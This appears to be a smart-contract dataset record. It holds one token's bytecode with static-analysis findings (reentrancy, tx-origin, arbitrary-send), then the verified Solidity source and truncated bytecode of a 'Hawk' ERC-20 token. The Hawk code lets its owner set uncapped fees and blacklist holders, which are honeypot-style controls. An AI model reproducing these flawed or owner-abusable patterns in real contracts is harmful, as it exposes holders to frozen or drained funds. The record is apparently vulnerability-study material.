0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf9146105a1578063db92dbb6146105b6578063dcb0e0ad146105cb578063dd62ed3e146105eb578063e8078d941461063157600080fd5b8063a9059cbb14610536578063aacebbe314610556578063b2131f7d14610576578063c3c8cd801461058c57600080fd5b80637a49cddb116100dc5780637a49cddb146104a95780638da5cb5b146104c957806394b8d8f2146104e757806395d89b411461050757600080fd5b8063590f897e146104495780636fc3eaec1461045f57806370a0823114610474578063715018a61461049457600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103a257806340b9a54b146103db57806345596e2e146103f157806349bd5a5e1461041157600080fd5b806327f3a72a14610330578063313ce5671461034557806331c2d8471461036c57806332d873d81461038c57600080fd5b806318160ddd116101c157806318160ddd146102c05780631816467f146102da5780631940d020146102fa57806323b872dd1461031057600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026e5780630b78f9c01461029e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d5472757468536f6369616c496e7560901b81525081565b60405161021e9190611bbf565b34801561027a57600080fd5b5061028e610289366004611c39565b610646565b604051901515815260200161021e565b3480156102aa57600080fd5b506102be6102b9366004611c65565b61065c565b005b3480156102cc57600080fd5b5066038d7ea4c68000610214565b3480156102e657600080fd5b506102be6102f5366004611c87565b6106df565b34801561030657600080fd5b50610214600f5481565b34801561031c57600080fd5b5061028e61032b366004611ca4565b610754565b34801561033c57600080fd5b5061021461083c565b34801561035157600080fd5b5061035a600981565b60405160ff909116815260200161021e565b34801561037857600080fd5b506102be610387366004611cfb565b61084c565b34801561039857600080fd5b5061021460105481565b3480156103ae57600080fd5b5061028e6103bd366004611c87565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e757600080fd5b50610214600b5481565b3480156103fd57600080fd5b506102be61040c366004611dc0565b6108d8565b34801561041d57600080fd5b50600a54610431906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045557600080fd5b50610214600c5481565b34801561046b57600080fd5b506102be61099c565b34801561048057600080fd5b5061021461048f366004611c87565b6109c9565b3480156104a057600080fd5b506102be6109e4565b3480156104b557600080fd5b506102be6104c4366004611cfb565b610a58565b3480156104d557600080fd5b506000546001600160a01b0316610431565b3480156104f357600080fd5b5060115461028e9062010000900460ff1681565b34801561051357600080fd5b506102616040518060400160405280600381526020016254534960e81b81525081565b34801561054257600080fd5b5061028e610551366004611c39565b610b67565b34801561056257600080fd5b506102be610571366004611c87565b610b74565b34801561058257600080fd5b50610214600d5481565b34801561059857600080fd5b506102be610be2565b3480156105ad57600080fd5b506102be610c18565b3480156105c257600080fd5b50610214610cb1565b3480156105d757600080fd5b506102be6105e6366004611de7565b610cc9565b3480156105f757600080fd5b50610214610606366004611e04565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063d57600080fd5b506102be610d46565b600061065333848461108b565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461067c57600080fd5b600a82111561068a57600080fd5b600a81111561069857600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b6009546001600160a01b0316336001600160a01b0316146106ff57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f31bb1993faff4f8409d7baad771f861e093ef4ce2c92c6e0cb10b82d1c7324cb906020015b60405180910390a150565b60115460009060ff16801561078257506001600160a01b03831660009081526004602052604090205460ff16155b801561079b5750600a546001600160a01b038581169116145b156107ea576001600160a01b03831632146107ea5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f58484846111af565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610824908490611e53565b905061083185338361108b565b506001949350505050565b6000610847306109c9565b905090565b6008546001600160a01b0316336001600160a01b03161461086c57600080fd5b60005b81518110156108d45760006006600084848151811061089057610890611e6a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108cc81611e80565b91505061086f565b5050565b6000546001600160a01b031633146109025760405162461bcd60e51b81526004016107e190611e99565b6008546001600160a01b0316336001600160a01b03161461092257600080fd5b600081116109675760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e1565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610749565b6008546001600160a01b0316336001600160a01b0316146109bc57600080fd5b476109c68161181e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a0e5760405162461bcd60e51b81526004016107e190611e99565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610a7857600080fd5b60005b81518110156108d457600a5482516001600160a01b0390911690839083908110610aa757610aa7611e6a565b60200260200101516001600160a01b031614158015610af8575060075482516001600160a01b0390911690839083908110610ae457610ae4611e6a565b60200260200101516001600160a01b031614155b15610b5557600160066000848481518110610b1557610b15611e6a565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b5f81611e80565b915050610a7b565b60006106533384846111af565b6008546001600160a01b0316336001600160a01b031614610b9457600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527fbf86feedee5b30c30a8243bd21deebb704d141478d39b1be04fe5ee739f214e790602001610749565b6008546001600160a01b0316336001600160a01b031614610c0257600080fd5b6000610c0d306109c9565b90506109c6816118a3565b6000546001600160a01b03163314610c425760405162461bcd60e51b81526004016107e190611e99565b60115460ff1615610c8f5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e1565b6011805460ff1916600117905542601055651b48eb57e000600e819055600f55565b600a54600090610847906001600160a01b03166109c9565b6000546001600160a01b03163314610cf35760405162461bcd60e51b81526004016107e190611e99565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610749565b6000546001600160a01b03163314610d705760405162461bcd60e51b81526004016107e190611e99565b60115460ff1615610dbd5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e1565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610df8308266038d7ea4c6800061108b565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5a9190611ece565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ea7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecb9190611ece565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3c9190611ece565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f6c816109c9565b600080610f816000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fe9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061100e9190611eeb565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015611067573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d49190611f19565b6001600160a01b0383166110ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e1565b6001600160a01b03821661114e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e1565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e1565b6001600160a01b0382166112755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e1565b600081116112d75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e1565b6001600160a01b03831660009081526006602052604090205460ff161561134c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e1565b600080546001600160a01b0385811691161480159061137957506000546001600160a01b03848116911614155b156117bf57600a546001600160a01b0385811691161480156113a957506007546001600160a01b03848116911614155b80156113ce57506001600160a01b03831660009081526004602052604090205460ff16155b1561165b5760115460ff166114255760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e1565b60105442036114645760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e1565b42601054610e106114759190611f36565b11156114ef57600f54611487846109c9565b6114919084611f36565b11156114ef5760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e1565b6001600160a01b03831660009081526005602052604090206001015460ff16611557576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b4260105461012c6115689190611f36565b111561163c57600e548211156115c05760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e1565b6115cb42600f611f36565b6001600160a01b0384166000908152600560205260409020541061163c5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e1565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611675575060115460ff165b801561168f5750600a546001600160a01b03858116911614155b156117bf5761169f42600f611f36565b6001600160a01b038516600090815260056020526040902054106117115760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e1565b600061171c306109c9565b905080156117a85760115462010000900460ff161561179f57600d54600a5460649190611751906001600160a01b03166109c9565b61175b9190611f4e565b6117659190611f6d565b81111561179f57600d54600a5460649190611788906001600160a01b03166109c9565b6117929190611f4e565b61179c9190611f6d565b90505b6117a8816118a3565b4780156117b8576117b84761181e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180157506001600160a01b03841660009081526004602052604090205460ff165b1561180a575060005b6118178585858486611a17565b5050505050565b6008546001600160a01b03166108fc611838600284611f6d565b6040518115909202916000818181858888f19350505050158015611860573d6000803e3d6000fd5b506009546001600160a01b03166108fc61187b600284611f6d565b6040518115909202916000818181858888f193505050501580156108d4573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118e7576118e7611e6a565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611940573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119649190611ece565b8160018151811061197757611977611e6a565b6001600160a01b03928316602091820292909201015260075461199d913091168461108b565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119d6908590600090869030904290600401611f8f565b600060405180830381600087803b1580156119f057600080fd5b505af1158015611a04573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a238383611a39565b9050611a3186868684611a80565b505050505050565b6000808315611a79578215611a515750600b54611a79565b50600c54601054611a6490610384611f36565b421015611a7957611a76600582611f36565b90505b9392505050565b600080611a8d8484611b5d565b6001600160a01b0388166000908152600260205260409020549193509150611ab6908590611e53565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611ae6908390611f36565b6001600160a01b038616600090815260026020526040902055611b0881611b91565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b4d91815260200190565b60405180910390a3505050505050565b600080806064611b6d8587611f4e565b611b779190611f6d565b90506000611b858287611e53565b96919550909350505050565b30600090815260026020526040902054611bac908290611f36565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bec57858101830151858201604001528201611bd0565b81811115611bfe576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146109c657600080fd5b8035611c3481611c14565b919050565b60008060408385031215611c4c57600080fd5b8235611c5781611c14565b946020939093013593505050565b60008060408385031215611c7857600080fd5b50508035926020909101359150565b600060208284031215611c9957600080fd5b8135611a7981611c14565b600080600060608486031215611cb957600080fd5b8335611cc481611c14565b92506020840135611cd481611c14565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d0e57600080fd5b823567ffffffffffffffff80821115611d2657600080fd5b818501915085601f830112611d3a57600080fd5b813581811115611d4c57611d4c611ce5565b8060051b604051601f19603f83011681018181108582111715611d7157611d71611ce5565b604052918252848201925083810185019188831115611d8f57600080fd5b938501935b82851015611db457611da585611c29565b84529385019392850192611d94565b98975050505050505050565b600060208284031215611dd257600080fd5b5035919050565b80151581146109c657600080fd5b600060208284031215611df957600080fd5b8135611a7981611dd9565b60008060408385031215611e1757600080fd5b8235611e2281611c14565b91506020830135611e3281611c14565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e6557611e65611e3d565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9257611e92611e3d565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ee057600080fd5b8151611a7981611c14565b600080600060608486031215611f0057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f2b57600080fd5b8151611a7981611dd9565b60008219821115611f4957611f49611e3d565b500190565b6000816000190483118215151615611f6857611f68611e3d565b500290565b600082611f8a57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fdf5784516001600160a01b031683529383019391830191600101611fba565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202eb82e901ceb850bbff9bbd58f9ed7a8cdca224a5913c8b1f1770ec4a804142464736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,393 |
0x6583e3cd9e1e330d6060358d0637fc390d1ec1c8
|
/**
*Submitted for verification at Etherscan.io on 2022-03-19
*/
// t.me/hawketh
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Hawk is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Hawk";//
string private constant _symbol = "HAWK";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 7;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 7;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x1f92788F8eb52c4d9B50722a198653306d6A80e9);//
address payable private _marketingAddress = payable(0x1f92788F8eb52c4d9B50722a198653306d6A80e9);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9; //
uint256 public _maxWalletSize = 20000000 * 10**9; //
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610542578063dd62ed3e14610558578063ea1644d51461059e578063f2fde38b146105be57600080fd5b8063a9059cbb146104bd578063bfd79284146104dd578063c3c8cd801461050d578063c492f0461461052257600080fd5b80638f9a55c0116100d15780638f9a55c01461043a57806395d89b411461045057806398a5c3151461047d578063a2a957bb1461049d57600080fd5b80637d1db4a5146103e65780638da5cb5b146103fc5780638f70ccf71461041a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037c57806370a0823114610391578063715018a6146103b157806374010ece146103c657600080fd5b8063313ce5671461030057806349bd5a5e1461031c5780636b9990531461033c5780636d8aa8f81461035c57600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102ca5780632fd689e3146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b51565b6105de565b005b34801561020a57600080fd5b506040805180820190915260048152634861776b60e01b60208201525b6040516102349190611c83565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611aa1565b61067d565b6040519015158152602001610234565b34801561027957600080fd5b5060155461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b50670de0b6b3a76400005b604051908152602001610234565b3480156102d657600080fd5b5061025d6102e5366004611a60565b610694565b3480156102f657600080fd5b506102bc60195481565b34801561030c57600080fd5b5060405160098152602001610234565b34801561032857600080fd5b5060165461028d906001600160a01b031681565b34801561034857600080fd5b506101fc6103573660046119ed565b6106fd565b34801561036857600080fd5b506101fc610377366004611c1d565b610748565b34801561038857600080fd5b506101fc610790565b34801561039d57600080fd5b506102bc6103ac3660046119ed565b6107db565b3480156103bd57600080fd5b506101fc6107fd565b3480156103d257600080fd5b506101fc6103e1366004611c38565b610871565b3480156103f257600080fd5b506102bc60175481565b34801561040857600080fd